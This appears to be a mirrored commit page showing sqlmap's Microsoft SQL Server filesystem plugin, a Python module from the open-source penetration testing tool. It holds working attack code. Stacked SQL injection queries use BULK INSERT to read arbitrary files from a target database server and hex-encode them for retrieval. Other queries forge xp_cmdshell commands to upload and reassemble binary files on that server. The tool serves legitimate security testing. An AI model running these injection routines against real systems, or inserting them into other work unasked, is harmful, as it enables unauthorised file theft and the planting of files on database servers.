mirror of
https://github.com/sqlmapproject/sqlmap.git
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Major code refactoring: moved and split plugins (mysql, pgsql, mssql, oracle) more granularly and organized.
Todo for firebird, sqlite, access.
This commit is contained in:
Bernardo Damele
217
plugins/dbms/mssqlserver/filesystem.py
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217
plugins/dbms/mssqlserver/filesystem.py
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#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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from lib.core.common import getRange
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from lib.core.common import posixToNtSlashes
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from lib.core.common import randomStr
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from lib.core.convert import urlencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.request import inject
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def __init__(self):
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GenericFilesystem.__init__(self)
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def unionReadFile(self, rFile):
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errMsg = "Microsoft SQL Server does not support file reading "
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errMsg += "with UNION query SQL injection technique"
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raise sqlmapUnsupportedFeatureException(errMsg)
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def stackedReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = []
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txtTbl = self.fileTblName
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hexTbl = "%shex" % self.fileTblName
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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logger.debug("loading the content of file '%s' into support table" % rFile)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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# Reference: http://support.microsoft.com/kb/104829
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binToHexQuery = """
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DECLARE @charset VARCHAR(16)
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DECLARE @counter INT
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DECLARE @hexstr VARCHAR(4096)
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DECLARE @length INT
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DECLARE @chunk INT
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SET @charset = '0123456789ABCDEF'
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SET @counter = 1
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SET @hexstr = ''
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SET @length = (SELECT DATALENGTH(%s) FROM %s)
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SET @chunk = 1024
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WHILE (@counter <= @length)
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BEGIN
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DECLARE @tempint INT
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DECLARE @firstint INT
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DECLARE @secondint INT
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SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
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SET @firstint = floor(@tempint/16)
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SET @secondint = @tempint - (@firstint * 16)
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SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
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SET @counter = @counter + 1
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IF @counter %% @chunk = 0
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BEGIN
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INSERT INTO %s(%s) VALUES(@hexstr)
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SET @hexstr = ''
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END
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END
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IF @counter %% (@chunk) != 0
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BEGIN
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INSERT INTO %s(%s) VALUES(@hexstr)
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END
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""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
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binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
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binToHexQuery = urlencode(binToHexQuery, convall=True)
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inject.goStacked(binToHexQuery)
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if kb.unionPosition:
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result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
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if not result:
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result = []
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count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
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if not count.isdigit() or not len(count) or count == "0":
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errMsg = "unable to retrieve the content of the "
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errMsg += "file '%s'" % rFile
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raise sqlmapNoneDataException(errMsg)
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indexRange = getRange(count)
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for index in indexRange:
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chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
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result.append(chunk)
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inject.goStacked("DROP TABLE %s" % hexTbl)
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return result
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "Microsoft SQL Server does not support file upload with "
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errMsg += "UNION query SQL injection technique"
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raise sqlmapUnsupportedFeatureException(errMsg)
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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# NOTE: this is needed here because we use xp_cmdshell extended
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# procedure to write a file on the back-end Microsoft SQL Server
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# file system. Maybe it won't be required to write text files
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self.initEnv()
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self.getRemoteTempPath()
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debugMsg = "going to use xp_cmdshell extended procedure to write "
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debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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debugSize = 0xFF00
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tmpPath = posixToNtSlashes(conf.tmpPath)
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dFileName = os.path.split(dFile)[1]
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dFile = posixToNtSlashes(dFile)
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wFileSize = os.path.getsize(wFile)
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wFilePointer = open(wFile, "rb")
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wFileContent = wFilePointer.read()
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wFilePointer.close()
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if wFileSize < debugSize:
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chunkName = self.updateBinChunk(wFileContent, tmpPath)
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sFile = "%s\%s" % (tmpPath, dFileName)
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logger.debug("moving binary file %s to %s" % (sFile, dFile))
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commands = ("cd %s" % tmpPath,
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"ren %s %s" % (chunkName, dFileName),
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"move /Y %s %s" % (dFileName, dFile))
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complComm = " & ".join(command for command in commands)
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forgedCmd = self.xpCmdshellForgeCmd(complComm)
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self.execCmd(forgedCmd)
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else:
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infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
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infoMsg += "bytes. sqlmap will split it into chunks, upload "
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infoMsg += "them and recreate the original file out of the "
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infoMsg += "binary chunks server-side, wait.."
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logger.info(infoMsg)
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counter = 1
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for i in range(0, wFileSize, debugSize):
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wFileChunk = wFileContent[i:i + debugSize]
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chunkName = self.updateBinChunk(wFileChunk, tmpPath)
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if i == 0:
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infoMsg = "renaming chunk "
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copyCmd = "ren %s %s" % (chunkName, dFileName)
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else:
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infoMsg = "appending chunk "
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copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
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infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
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logger.debug(infoMsg)
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commands = ("cd %s" % tmpPath,
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copyCmd,
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"del /F %s" % chunkName)
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complComm = " & ".join(command for command in commands)
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forgedCmd = self.xpCmdshellForgeCmd(complComm)
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self.execCmd(forgedCmd)
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logger.info("file chunk %d written" % counter)
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counter += 1
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sFile = "%s\%s" % (tmpPath, dFileName)
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logger.debug("moving binary file %s to %s" % (sFile, dFile))
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commands = ("cd %s" % tmpPath,
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"move /Y %s %s" % (dFileName, dFile))
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complComm = " & ".join(command for command in commands)
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forgedCmd = self.xpCmdshellForgeCmd(complComm)
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self.execCmd(forgedCmd)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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